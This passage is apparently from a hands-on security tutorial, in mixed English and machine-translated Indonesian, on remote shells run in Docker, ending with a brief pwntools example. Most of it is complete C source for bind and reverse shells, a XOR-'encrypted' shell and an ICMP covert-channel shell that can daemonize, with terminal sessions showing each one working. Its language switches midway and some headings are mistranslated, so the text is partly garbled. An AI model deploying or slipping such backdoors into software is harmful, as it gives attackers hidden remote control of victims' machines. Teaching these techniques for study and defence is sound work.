[3] Alex Reece (2013). Introduction to return oriented programming (ROP). Retrieved from http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html.
[4] Georgia Tech (2016). CS 6265: Information Security Lab. Schedule. Retrieved from https://tc.gtisc.gatech.edu/cs6265/2016/cal.html
[5] Georgia Tech (2017). CS 6265: Information Security Lab. Schedule. Retrieved from https://tc.gtisc.gatech.edu/cs6265/2017/cal.html
[6] Georgia Tech (2017). CS 6265: Information Security Lab. Lec07: Return-oriented Programming. Retrieved from https://tc.gtisc.gatech.edu/cs6265/2016/l/lab07-rop/README-tut.txt
[7] Standford. 64-bit Linux Return-Oriented Programming. Retrieved from https://crypto.stanford.edu/~blynn/rop/
[8] slimm609. checksec.sh. Retrieved from https://github.com/slimm609/checksec.sh
[9] Ketan Singh (2017), Introduction to Return Oriented Programming (ROP). Retreived from https://ketansingh.net/Introduction-to-Return-Oriented-Programming-ROP/.
[10] Stack Overflow. Managing inputs for payload injection?. Retrieved from https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa.
[11] Long Le. Python Exploit Development Assistance for GDB (PEDA). Retreived from https://github.com/longld/peda.
[12] Axel Souchet. rp++. Retrieved from https://github.com/0vercl0k/rp.
Remote shell
From a security point of view, a remote shell is usually part of a shellcode to enable unauthorized remote access to a system. This tutorial is heavily based in [1], [2], [3] and [4].
Note: as in previous tutorials, there’s a docker container that facilitates reproducing the work of this tutorial. The container can be built with:
docker build -t basic_cybersecurity6:latest .
and runned with:
docker run --privileged -it basic_cybersecurity6:latest
The content used for this tutorial will be touching into remote shells.
According to [1], there are basically two ways to get remote shell access:
Direct Remote Shells. A direct remote shell behaves as a server. It works like a ssh or telnet server. The remote user/attacker, connects to a specific port on the target machine and gets automatically access to a shell.
Reverse Remote Shells. These ones work the other way around. The application running on the target machine connects back (calls back home) to a specific server and port on a machine that belongs to the user/attacker.
The Reverse Shell method has some advantages:
Firewalls usually block incoming connections, but they allow outgoing connection in order to provide Internet access to the machine’s users.
Pengguna/penyerang tidak perlu mengetahui IP mesin yang menjalankan shell jarak jauh, tetapi ia perlu memiliki sistem dengan IP tetap, agar mesin target dapat melakukan panggilan ke rumah.
Biasanya ada banyak koneksi keluar di sebuah mesin dan hanya beberapa server (jika ada) yang berjalan di dalamnya. Hal ini membuat deteksi sedikit lebih sulit, khususnya jika shell terhubung kembali ke sesuatu yang mendengarkan di port 80…
Mari menulis klien dan server yang memungkinkan kita menjelajahi kedua metode:
Klien
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int
client_init (char *ip, int port)
{
int s;
struct sockaddr_in serv;
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("socket:");
exit (EXIT_FAILURE);
}
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = inet_addr(ip);
if (connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0)
{
perror("connect:");
exit (EXIT_FAILURE);
}
return s;
}
Fungsi tersebut menerima alamat IP untuk terhubung dan port sebagai parameter. Kemudian, fungsi tersebut membuat soket TCP (SOCK_STREAM) dan mengisi data untuk koneksi. Koneksi secara efektif terbentuk setelah eksekusi koneksi berhasil. Jika terjadi kesalahan (pembuatan soket atau koneksi), kami tinggal menghentikan aplikasi.
Fungsi ini akan memungkinkan kita untuk mengimplementasikan reverse remote shell. Klien melanjutkan sebagai berikut:
int
start_shell (int s)
{
char *name[3] ;
dup2 (s, 0);
dup2 (s, 1);
dup2 (s, 2);
name[0] = "/bin/sh";
name[1] = "-i";
name[2] = NULL;
execv (name[0], name );
exit (1);
return 0;
}
Fungsinya start_shellcukup sederhana. Fungsi ini menggunakan dua panggilan sistem dup2 dan execv. Yang pertama menduplikasi deskriptor file yang diberikan. Dalam hal ini, tiga panggilan di awal fungsi, menetapkan deskriptor file yang diterima sebagai parameter ke Input Standar (deskriptor file 0), Output Standar (deskriptor file 1) dan Kesalahan Standar (deskriptor file 3).
Jadi, jika deskriptor file yang kita berikan sebagai parameter adalah salah satu soket yang dibuat dengan fungsi klien dan server kita sebelumnya, kita secara efektif mengirim dan menerima data melalui jaringan setiap kali kita menulis data ke konsol dan membaca data dari stdin.
Sekarang kita tinggal mengeksekusi shell dengan flag -i (mode interaktif). Panggilan sistem execv akan mengganti proses saat ini (yang stdin, stdout, dan stderr-nya dikaitkan ke koneksi jaringan) dengan proses yang dilewatkan sebagai parameter.
Dan akhirnya, yang utama, bisa dijelaskan sendiri:
int
main (int argc, char *argv[])
{
/* FIXME: Check command-line arguments */
start_shell (client_init (argv[1], atoi(argv[2])));
return 0;
}
Pelayan
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int
server_init (int port)
{
int s, s1;
socklen_t clen;
struct sockaddr_in serv, client;
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("socket:");
exit (EXIT_FAILURE);
}
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = htonl(INADDR_ANY);
if ((bind (s, (struct sockaddr *)&serv,
sizeof(struct sockaddr_in))) < 0)
{
perror ("bind:");
exit (EXIT_FAILURE);
}
if ((listen (s, 10)) < 0)
{
perror ("listen:");
exit (EXIT_FAILURE);
}
clen = sizeof(struct sockaddr_in);
if ((s1 = accept (s, (struct sockaddr *) &client,
&clen)) < 0)
{
perror ("accept:");
exit (EXIT_FAILURE);
}
return s1;
}
awal fungsi ini secara praktis sama dengan kode klien. Fungsi ini membuat soket, mengisi data jaringan, tetapi alih-alih mencoba terhubung ke server jarak jauh, fungsi ini mengikat soket ke port tertentu. Perhatikan bahwa alamat yang diteruskan untuk mengikat adalah konstanta INADDR_ANY. Ini sebenarnya adalah IP 0.0.0.0 dan ini berarti bahwa soket akan mendengarkan semua antarmuka.
Panggilan sistem bind tidak benar-benar menjadikan soket sebagai soket pendengar (Anda sebenarnya dapat memanggil bind pada soket klien). Panggilan sistem listen-lah yang menjadikan soket sebagai soket server. Parameter kedua yang diteruskan ke listen adalah backlog. Pada dasarnya, ini menunjukkan berapa banyak koneksi yang akan diantrekan untuk diterima sebelum server mulai menolak koneksi. Dalam kasus kami, hal itu tidak terlalu penting.
Pada titik ini, server kita sudah siap dan kita dapat menerima koneksi. Panggilan ke sistem panggilan terima akan membuat server kita menunggu koneksi masuk. Setiap kali koneksi masuk, soket baru akan dibuat untuk bertukar data dengan klien baru.
Mirip dengan klien, kami juga menyertakan start_shelldan mainsebagai berikut:
int
start_shell (int s)
{
char *name[3] ;
dup2 (s, 0);
dup2 (s, 1);
dup2 (s, 2);
name[0] = "/bin/sh";
name[1] = "-i";
name[2] = NULL;
execv (name[0], name );
exit (1);
return 0;
}
int
main (int argc, char *argv[])
{
/* FIXME: Check command-line arguments */
start_shell (server_init (atoi(argv[1])));
return 0;
}
Shell Jarak Jauh Langsung
# terminal 1
docker run --privileged -it basic_cybersecurity6:latest
root@7e837bd2c6b2:~# ./server 5000
# terminal 2
# we figure out the running docker container's ID
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7e837bd2c6b2 basic_cybersecurity6:latest "bash" 24 seconds ago Up 23 seconds ecstatic_golick
# get a shell into the container
$ docker exec -it 7e837bd2c6b2 bash
# get a direct remote shell
root@7e837bd2c6b2:~# nc 127.0.0.1 5000
# ls
checksec.sh
client
client.c
rp++
server
server.c
# uname -a
Linux 7e837bd2c6b2 4.9.87-linuxkit-aufs #1 SMP Wed Mar 14 15:12:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
atau menjalankan server di kontainer docker dan klien di mesin host:
# terminal 1
docker run --privileged -p 5000:5000 -it basic_cybersecurity6:latest
root@81bffa48f8a3:~# ./server 5000
# terminal 2
nc localhost 5000
$ nc localhost 5000
# uname -a
Linux 81bffa48f8a3 4.9.87-linuxkit-aufs #1 SMP Wed Mar 14 15:12:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
#
Perhatikan bahwa kami harus memetakan port 5000 antara docker dan OS host.
Cangkang Jarak Jauh Terbalik
# terminal 1
$ docker run --privileged -p 5000:5000 -it basic_cybersecurity6:latest
root@812b61f0f7cc:~# nc -l -p 5000
# terminal 2
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
812b61f0f7cc basic_cybersecurity6:latest "bash" 3 seconds ago Up 6 seconds 0.0.0.0:5000->5000/tcp reverent_haibt
docker exec -it 812b61f0f7cc bash
root@812b61f0f7cc:~#
root@812b61f0f7cc:~# ./client 127.0.0.1 5000
# terminal 1
uname -a
Linux 812b61f0f7cc 4.9.87-linuxkit-aufs #1 SMP Wed Mar 14 15:12:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Shell jarak jauh terenkripsi
Mengikuti kode sebelumnya dan mengambil inspirasi dari [4], kami akan memperluas contoh sebelumnya untuk mengenkripsi aliran data.
Untuk memulainya, seperti yang dijelaskan dengan baik di [4]:
Untuk mengenkripsi komunikasi kita, kita memerlukan sesuatu di depan shell yang mengambil data dari/ke jaringan dan mengenkripsi/mendekripsinya. Hal ini dapat dilakukan dengan berbagai cara.
Kali ini kami memilih untuk meluncurkan shell sebagai proses anak yang terpisah dan menggunakan socketpair untuk mentransfer data yang diterima/dikirim melalui jaringan ke proses shell. Proses induk kemudian akan mengenkripsi dan mendekripsi data yang masuk/keluar dari jaringan/shell. Ini mungkin terlihat sedikit membingungkan pada pandangan pertama, tetapi itu hanya karena tulisan saya :).
Socketpair hanyalah sepasang soket yang langsung terhubung. Mirip seperti menjalankan kode klien dan server hanya dalam satu panggilan sistem. Secara konseptual, keduanya berfungsi sebagai pipa, tetapi perbedaan utamanya adalah soket bersifat dua arah, berbeda dengan pipa di mana salah satu deskriptor file bersifat baca-saja dan yang lainnya bersifat tulis-saja.
socketpairsadalah mekanisme IPC (InterProcess Communication) yang nyaman dan sangat cocok dengan kasus penggunaan berorientasi jaringan kita… karena bagaimanapun juga, mereka adalah soket.
Kode untuk mengenkripsi dan mendekripsi komunikasi melalui shell jarak jauh disajikan (dan diberi komentar) di bawah ini:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
// Creates a socket, fills in the network data and binds the socket
// to a specific port given as a parameter.
//
// Note that the address passed to bind is the constant INADDR_ANY.
// This is actually IP 0.0.0.0 and it means that the socket will be
// listening on all interfaces.
//
// Returns file descriptor of the accepted connection.
int
server_init (int port)
{
int s, s1;
socklen_t clen;
struct sockaddr_in serv, client;
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("socket:");
exit (EXIT_FAILURE);
}
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = htonl(INADDR_ANY);
if ((bind (s, (struct sockaddr *)&serv,
sizeof(struct sockaddr_in))) < 0)
{
perror ("bind:");
exit (EXIT_FAILURE);
}
if ((listen (s, 10)) < 0)
{
perror ("listen:");
exit (EXIT_FAILURE);
}
clen = sizeof(struct sockaddr_in);
if ((s1 = accept (s, (struct sockaddr *) &client,
&clen)) < 0)
{
perror ("accept:");
exit (EXIT_FAILURE);
}
return s1;
}
// Receives as parameters an IP address to connect to
// and a port. Then it creates a TCP socket (SOCK_STREAM)
// and fills in the data for connecting. The connection
// is effectively established after a successful execution
// of connect. In case of any error (creating the socket or
// connection) we just stop the application.
//
// Returns the file descriptor from where to send/receive
// client data
int
client_init (char *ip, int port)
{
int s;
struct sockaddr_in serv;
printf ("+ Connecting to %s:%d\n", ip, port);
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("socket:");
exit (EXIT_FAILURE);
}
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = inet_addr(ip);
if (connect (s, (struct sockaddr *) &serv, sizeof(serv)) < 0)
{
perror("connect:");
exit (EXIT_FAILURE);
}
return s;
}
// Function that allow us to implement a reverse remote shell.
//
// It makes use of two system calls dup2 and execv. The first one
// duplicates a given file descriptor. In this case, the three
// calls at the beginning of the function, assigns the file
// descriptor received as parameter to the Standard Input (file
// descriptor 0), Standard Output (file descriptor 1) and
// Standard Error (file descriptor 3).
//
// If the file descriptor we pass as a parameter is one of the
// sockets created with our previous client and server functions,
// we are effectively sending and receiving data through the
// network every time we write data to the console and we read data
// from stdin.
int
start_shell (int s)
{
char *name[3];
printf ("+ Starting shell\n");
dup2 (s, 0);
dup2 (s, 1);
dup2 (s, 2);
name[0] = "/bin/sh";
name[1] = "-i";
name[2] = NULL;
execv (name[0], name );
exit (1);
return 0;
}
// This function decode the information received from the network sends
// it to the shell using the counterpart socket (from the socketpair)
// system call.
//
// At the same time, whenever the shell produces some output, this function
// will read that data, crypt it and send it over the network.
//
// Receives as parameters two file descriptors, one representing the
// socketpair end for communications with the shell (s1) and the
// other for networking (s).
void
async_read (int s, int s1)
{
fd_set rfds;
struct timeval tv;
int max = s > s1 ? s : s1;
int len, r;
char buffer[1024];
max++;
while (1)
{
// macros to initialize the file descriptor set
FD_ZERO(&rfds);
FD_SET(s,&rfds);
FD_SET(s1,&rfds);
/* Time out. */
// set to 1 second
// microseconds resolution
tv.tv_sec = 1;
tv.tv_usec = 0;
// standard select loop for a network application.
if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0)
{
perror ("select:");
exit (EXIT_FAILURE);
}
else if (r > 0) /* If there is data to process */
{
// The memfrob function does a XOR crypting with
// key (42). The greatest thing about XOR crypting is that the
// same function can be used for crypt and decrypt. Other than
// that, with a 1 byte long key (42 in this case) it is pretty
// useless.
if (FD_ISSET(s, &rfds))
{
// get data in our network socket, we just read the data,
// decrypt it and resend it to our shell.
memset (buffer, 0, 1024);
if ((len = read (s, buffer, 1024)) <= 0) exit (1);
memfrob (buffer, len);
write (s1, buffer, len);
}
if (FD_ISSET(s1, &rfds))
{
// get data from our shell, we read it, we crypt it and
// we send it back to the network client.
memset (buffer, 0, 1024);
if ((len = read (s1, buffer, 1024)) <= 0) exit (1);
memfrob (buffer, len);
write (s, buffer, len);
}
}
}
}
// Set up the socket pair and create a new process (using fork)
//
// Function creates a socket pair using the syscall socketpair).
// The fork system call creates a new process as an identical image
// that make use of the sp socketpair to communicate both processes.
//
// Instead of feeding data into our shell directly from the network,
// function is used to send/receive data using the counterpart socket
// provided by socketpair.
void
secure_shell (int s)
{
pid_t pid;
int sp[2];
/* Create a socketpair to talk to the child process */
if ((socketpair (AF_UNIX, SOCK_STREAM, 0, sp)) < 0)
{
perror ("socketpair:");
exit (1);
}
/* Fork a shell */
if ((pid = fork ()) < 0)
{
perror ("fork:");
exit (1);
}
else
if (!pid) /* Child Process */
{
close (sp[1]);
close (s);
start_shell (sp[0]);
/* This function will never return */
}
/* At this point we are the father process */
close (sp[0]);
printf ("+ Starting async read loop\n");
async_read (s, sp[1]);
}
int
main (int argc, char *argv[])
{
/* FIXME: Check command-line arguments */
if (argv[1][0] == 'c')
secure_shell (client_init (argv[2], atoi(argv[3])));
else if (argv[1][0] == 's')
secure_shell (server_init (atoi(argv[2])));
else if (argv[1][0] == 'a')
async_read (client_init (argv[2], atoi(argv[3])), 0);
else if (argv[1][0] == 'b')
async_read (server_init (atoi(argv[2])), 0);
return 0;
}
Mari kita mencobanya:
# In one terminal
docker run --privileged -p 5000:5000 -it basic_cybersecurity6:latest
root@ab97f27ecde6:~# ./crypt_shell s 5000
# In the other terminal
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ab97f27ecde6 basic_cybersecurity6:latest "bash" 2 minutes ago Up 2 minutes 0.0.0.0:5000->5000/tcp pedantic_lamarr
victor at Victors-MacBook in ~/basic_cybersecurity/tutorial5 on master*
$ docker exec -it ab97f27ecde6 bash
root@ab97f27ecde6:~# ./crypt_shell a 127.0.0.1 5000
+ Connecting to 127.0.0.1:5000
# uname -a
Linux ab97f27ecde6 4.9.87-linuxkit-aufs #1 SMP Wed Mar 14 15:12:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
#
Shell jarak jauh melalui ICMP
Konten berikut ini berdasarkan [3]. Idenya adalah menggunakan saluran komunikasi yang tidak biasa dengan shell jarak jauh kita. Secara khusus, kita akan menggunakan paket ICMP untuk mentransfer data dan perintah shell antara kedua mesin. Metode yang dijelaskan di sini menghasilkan lalu lintas ICMP yang tidak biasa yang dapat memicu beberapa alarm, tetapi semuanya tergantung pada skenarionya.
Teknik ini sebenarnya cukup sederhana (dan lama). Singkatnya, kami bertujuan untuk:
Ubah soket klien/server kita menjadi soket RAW
Tulis sniffer untuk menangkap lalu lintas ICMP
Tulis injektor paket untuk mengirim pesan ICMP
Kode sumber lengkap telah dikomentari agar mudah dibaca dan disajikan di bawah ini. Kode sumber seharusnya sudah jelas:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/ip.h>
#include <linux/icmp.h>
/* Helper functions */
#define BUF_SIZE 1024
// two function pointers that we can easily change (at run-time)
// to point to different implementation.
static int (*net_read)(int fd, void *buf, size_t count);
static int (*net_write) (int fd, void *buf, size_t count);
static int icmp_type = ICMP_ECHOREPLY;;
static int id = 12345;
// This struc represents a packet as it is read from
// a IPPROTO_ICMP RAW socket. The RAW socket will return
// an IP header, then a ICMP header followed by the data.
//
// In this example, and again, to keep things simple,
// we are using a fixed packet format. Our data packet
// is composed of an integer indicating the size of the
// data in the packet, plus a data block with a maximum
// size of BUF_SIZE. So our packets will look like this:
//
// +-----------+-------------+-------------------+
// | IP Header | ICMP Header | Len | shell data |
// | +-------------+-------------------+
// +---------------------------------------------+
typedef struct
{
struct iphdr ip;
struct icmphdr icmp;
int len;
char data[BUF_SIZE]; /* Data */
} PKT;
// struct to write into the network our shell data within
// ICMP packets.
//
// This represents the packet we will be sending. By default,
// sockets RAW does not give us access to the IP header. This
// is convenient as we do not have to care about feeding IP
// addressed or calculating checksums for the whole IP packet.
// It can indeed be forced, but in this case it is just not
// convenient. That is why our transmission packet does not
// have an IP header. If you need to access the IP header,
// you can do it using the IP_HDRINCL socket option
// (man 7 raw for more info).
typedef struct {
struct icmphdr icmp;
int len;
} PKT_TX;
static struct sockaddr_in dest;
// Creates a RAW socket. The same RAW socket will be
// used to write our sniffer (to capture the ICMP
// traffic) and also to inject our ICMP requests with
// our own data.
//
// Two parameters, the first one is the destination IP of
// our ICMP packets. The second is the protocol, by
// default we have selected ICMP.
//
//
// Returns a file descriptor representing the raw socket
int
raw_init (char *ip, int proto)
{
int s;
if ((s = socket (AF_INET, SOCK_RAW, proto)) < 0)
{
perror ("socket:");
exit (1);
}
dest.sin_family = AF_INET;
inet_aton (ip, &dest.sin_addr);
fprintf (stderr, "+ Raw to '%s' (type : %d)\n", ip, icmp_type);
return s;
}
/* ICMP */
u_short
icmp_cksum (u_char *addr, int len)
{
register int sum = 0;
u_short answer = 0;
u_short *wp;
for (wp = (u_short*)addr; len > 1; wp++, len -= 2)
sum += *wp;
/* Take in an odd byte if present */
if (len == 1)
{
*(u_char *)&answer = *(u_char*)wp;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff); /* add high 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return answer;
}
// packet sniffer,
// As packets used in this example have a fixed size, we can
// just read then in one shot (note that this may have issues
// in a heavily loaded network), and then we just check the
// ICMP message type and id. This is the way we mark our packets
// to know they are ours and not a regular ICMP message.
//
// An alternative is to add a magic word just before the len in
// the data part of the packet and check that value to identify
// the packet.
//
// If the packet is ours (and not a normal ICMP packet), the
// data is copied in the provided buffer and its length is
// returned. The async_read function takes care of the rest from
// this point on.
//
// Returns the length of the packet received or 0
int
net_read_icmp (int s, void *buf, size_t count)
{
PKT pkt;
int len, l;
l = read (s, &pkt, sizeof (PKT)); // Read IP + ICMP header
if ((pkt.icmp.type == icmp_type) &&
(ntohs(pkt.icmp.un.echo.id) == id))
{
len = ntohs (pkt.len);
memcpy (buf, (char*)pkt.data, len);
return len;
}
return 0;
}
// packet injector,
//
// For RAW sockets, were we are not binding the socket
// to any address and there is no accept or connect involved,
// we have to use the datagram primitives. The sendto system
// call allows us to send data to a specific address, in this
// case to the IP address we passed to the program as parameter.
//
// Note: we are not setting the IP header so this is the way we
// provide the destination IP address to the TCP/IP stack.
int
net_write_icmp (int s, void *buf, size_t count)
{
PKT_TX *pkt;
struct icmphdr *icmp = (struct icmphdr*) &pkt;
int len;
// dynamically allocate the packet including the
// size of the buffer we want to transmit
pkt = malloc (sizeof (PKT_TX) + count);
icmp = (struct icmphdr*) pkt;
pkt->len = htons(count);
// fill in the content
memcpy ((unsigned char*)pkt + sizeof(PKT_TX), buf, count);
len = count + sizeof(int);
len += sizeof (struct icmphdr);
/* Build an ICMP Packet */
// icmp_type and the id parameters are relevant since
// are used by our sniffer to identify our own packets.
icmp->type = icmp_type;
icmp->code = 0;
icmp->un.echo.id = htons(id);
icmp->un.echo.sequence = htons(5);
// set the checksum field to zero and calculate the checksum
// for the packet
icmp->checksum = 0;
icmp->checksum = icmp_cksum ((char*)icmp, len);
sendto (s, pkt, len, 0,
(struct sockaddr*) &dest,
sizeof (struct sockaddr_in));
free (pkt);
return len;
}
// Function that allow us to implement a reverse remote shell.
//
// It makes use of two system calls dup2 and execv. The first one
// duplicates a given file descriptor. In this case, the three
// calls at the beginning of the function, assigns the file
// descriptor received as parameter to the Standard Input (file
// descriptor 0), Standard Output (file descriptor 1) and
// Standard Error (file descriptor 3).
//
// If the file descriptor we pass as a parameter is one of the
// sockets created with our previous client and server functions,
// we are effectively sending and receiving data through the
// network every time we write data to the console and we read data
// from stdin.
//
// Ported to ANDROID
int
start_shell (int s)
{
char *name[3];
#ifdef VERBOSE
printf ("+ Starting shell\n");
#endif
dup2 (s, 0);
dup2 (s, 1);
dup2 (s, 2);
#ifdef _ANDROID
name[0] = "/system/bin/sh";
#else
name[0] = "/bin/sh";
#endif
name[1] = "-i";
name[2] = NULL;
execv (name[0], name );
exit (EXIT_FAILURE);
return 0;
}
// This function decode the information received from the network sends
// it to the shell using the counterpart socket (from the socketpair)
// system call.
//
// At the same time, whenever the shell produces some output, this function
// will read that data, crypt it and send it over the network.
//
// Receives as parameters two file descriptors, one representing the
// socketpair end for communications with the shell (s1) and the
// other for networking (s).
void
async_read (int s, int s1)
{
fd_set rfds;
struct timeval tv;
int max = s > s1 ? s : s1;
int len, r;
char buffer[BUF_SIZE]; /* 1024 chars */
max++;
while (1)
{
// macros to initialize the file descriptor set
FD_ZERO(&rfds);
FD_SET(s,&rfds);
FD_SET(s1,&rfds);
/* Time out. */
// set to 1 second
// microseconds resolution
tv.tv_sec = 1;
tv.tv_usec = 0;
// standard select loop for a network application.
if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0)
{
perror ("select:");
exit (EXIT_FAILURE);
}
else if (r > 0) /* If there is data to process */
{
// The memfrob function does a XOR crypting with
// key (42). The greatest thing about XOR crypting is that the
// same function can be used for crypt and decrypt. Other than
// that, with a 1 byte long key (42 in this case) it is pretty
// useless.
if (FD_ISSET(s, &rfds))
{
// get data from network using function pointer,
// and resend it to our shell.
memset (buffer, 0, BUF_SIZE);
if ((len = net_read (s, buffer, BUF_SIZE)) == 0) continue;
write (s1, buffer, len);
}
if (FD_ISSET(s1, &rfds))
{
// get data from our shell, then
// we send it back through the network using the
// function pointer.
memset (buffer, 0, BUF_SIZE);
if ((len = read (s1, buffer, BUF_SIZE)) <= 0) exit (EXIT_FAILURE);
net_write (s, buffer, len);
}
}
}
}
// Set up the socket pair and create a new process (using fork)
//
// Function creates a socket pair using the syscall socketpair).
// The fork system call creates a new process as an identical image
// that make use of the sp socketpair to communicate both processes.
//
// Instead of feeding data into our shell directly from the network,
// function is used to send/receive data using the counterpart socket
// provided by socketpair.
void
secure_shell (int s)
{
pid_t pid;
int sp[2];
/* Create a socketpair to talk to the child process */
if ((socketpair (AF_UNIX, SOCK_STREAM, 0, sp)) < 0)
{
perror ("socketpair:");
exit (1);
}
/* Fork a shell */
if ((pid = fork ()) < 0)
{
perror ("fork:");
exit (1);
}
else
if (!pid) /* Child Process */
{
close (sp[1]);
close (s);
start_shell (sp[0]);
/* This function will never return */
}
/* At this point we are the father process */
close (sp[0]);
#ifdef VERBOSE
printf ("+ Starting async read loop\n");
#endif
net_write (s, "iRS v0.1\n", 9);
async_read (s, sp[1]);
}
int
main (int argc, char *argv[])
{
int i =1;
/* FIXME: Check command-line arguments */
/* Go daemon ()*/
// Assign function pointers
net_read = net_read_icmp;
net_write = net_write_icmp;
if (argv[i][0] == 'd')
{
i++;
daemon (0,0);
}
if (argv[i][0] == 's')
secure_shell (raw_init (argv[i+1], IPPROTO_ICMP));
else if (argv[i][0] == 'c')
async_read (raw_init (argv[i+1], IPPROTO_ICMP), 0);
return 0;
}
Mari kita mencobanya:
# In the first terminal
docker network create testnet
docker run --privileged --net testnet -it basic_cybersecurity6:latest
root@d1c09e1b8f84:~# ./icmp_shell c 172.18.0.3
+ Raw to '172.18.0.3' (type : 0)
# In the second terminal
docker run --privileged --net testnet -it basic_cybersecurity6:latest
root@c134e2dbde63:~# ./icmp_shell s 172.18.0.2
+ Raw to '172.18.0.2' (type : 0)
# In the third terminal
docker exec -it d1c09e1b8f84 bash
root@d1c09e1b8f84:~# tcpdump -nnXSs 0 -i eth0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
# In the first terminal
# uname -a
iRS v0.1
# ls
checksec.sh
client
client.c
crypt_shell
crypt_shell.c
icmp_shell
icmp_shell.c
rp++
server
server.c
#
# which produces the following output in the third terminal
08:49:28.471170 IP 172.18.0.2 > 172.18.0.3: ICMP echo reply, id 12345, seq 5, length 15
0x0000: 4500 0023 e750 4000 4001 fb5f ac12 0002 E..#.P@.@.._....
0x0010: ac12 0003 0000 594b 3039 0005 0003 0000 ......YK09......
0x0020: 6c73 0a ls.
08:49:28.476440 IP 172.18.0.3 > 172.18.0.2: ICMP echo reply, id 12345, seq 5, length 111
0x0000: 4500 0083 5462 4000 4001 8dee ac12 0003 E...Tb@.@.......
0x0010: ac12 0002 0000 1614 3039 0005 0063 0000 ........09...c..
0x0020: 6368 6563 6b73 6563 2e73 680a 636c 6965 checksec.sh.clie
0x0030: 6e74 0a63 6c69 656e 742e 630a 6372 7970 nt.client.c.cryp
0x0040: 745f 7368 656c 6c0a 6372 7970 745f 7368 t_shell.crypt_sh
0x0050: 656c 6c2e 630a 6963 6d70 5f73 6865 6c6c ell.c.icmp_shell
0x0060: 0a69 636d 705f 7368 656c 6c2e 630a 7270 .icmp_shell.c.rp
0x0070: 2b2b 0a73 6572 7665 720a 7365 7276 6572 ++.server.server
0x0080: 2e63 0a .c.
08:49:28.477890 IP 172.18.0.3 > 172.18.0.2: ICMP echo reply, id 12345, seq 5, length 14
0x0000: 4500 0022 5463 4000 4001 8e4e ac12 0003 E.."Tc@.@..N....
0x0010: ac12 0002 0000 ac9f 3039 0005 0002 0000 ........09......
0x0020: 2320 #.
Sumber daya
[1] 0x00pf (2016), Shell Jarak Jauh. Bagian I. Diperoleh dari https://0x00sec.org/t/remote-shells-part-i/269.
[2] picoFlamingo, 0x00sec_code , Github. Diperoleh dari https://github.com/0x00pf/0x00sec_code/tree/master/remote_shell.
[3] 0x00pf (2016), Remote Shells Bagian IV. Remote Shell yang Tak Terlihat . Diperoleh dari https://0x00sec.org/t/remote-shells-part-iv-the-invisible-remote-shell/743
[4] 0x00pf (2016), Shell Jarak Jauh. Bagian II. Enkripsikan tautan Anda . Diperoleh dari https://0x00sec.org/t/remote-shells-part-ii-crypt-your-link/306.
pwntools - perangkat CTF
Dari [1]: > Pwntools adalah kerangka kerja CTF dan pustaka pengembangan eksploit. Ditulis dalam bahasa Python, ia dirancang untuk pembuatan prototipe dan pengembangan cepat, dan dimaksudkan untuk membuat penulisan eksploit sesederhana mungkin.
Tutorial berikut ini dibuat dari [4]:
Perakitan dan manipulasi ELF
Untuk kode sederhana seperti:
#include <stdio.h>
int main(int argc, char* argv[])
{
char flag[10] = {'S', 'E', 'C', 'R', 'E', 'T', 'F', 'L', 'A', 'G'};
char digits[10] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9'};
int index = 0;
while (1) {
printf("Give me an index and I'll tell you what's there!\n");
scanf("%d", &index);
printf("Okay, here you go: %p %c\n", &digits[index], digits[index]);
}
return 0;
}
Kami mengkompilasinya:
root@8beb97f8d305:/tutorial/tutorial6# gcc -o leaky leaky.c
dan jalankan skrip Python berikut:
#!/usr/bin/env python
from pwn import *
leaky_elf = ELF('leaky')
main_addr = leaky_elf.symbols['main']
# Print address of main
log.info("Main at: " + hex(main_addr))
# Disassemble the first 14 bytes of main
log.info(disasm(leaky_elf.read(main_addr, 14), arch='x86'))
Menyampaikan:
root@8beb97f8d305:/tutorial/tutorial6# python example1.py
[*] '/tutorial/tutorial6/leaky'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Main at: 0x4005d6
[*] 0: 55 push ebp
1: 48 dec eax
2: 89 e5 mov ebp,esp
4: 48 dec eax
5: 83 ec 50 sub esp,0x50
8: 89 7d bc mov DWORD PTR [ebp-0x44],edi
b: 48 dec eax
c: 89 .byte 0x89
d: 75 .byte 0x75
Shellcode dari perakitan
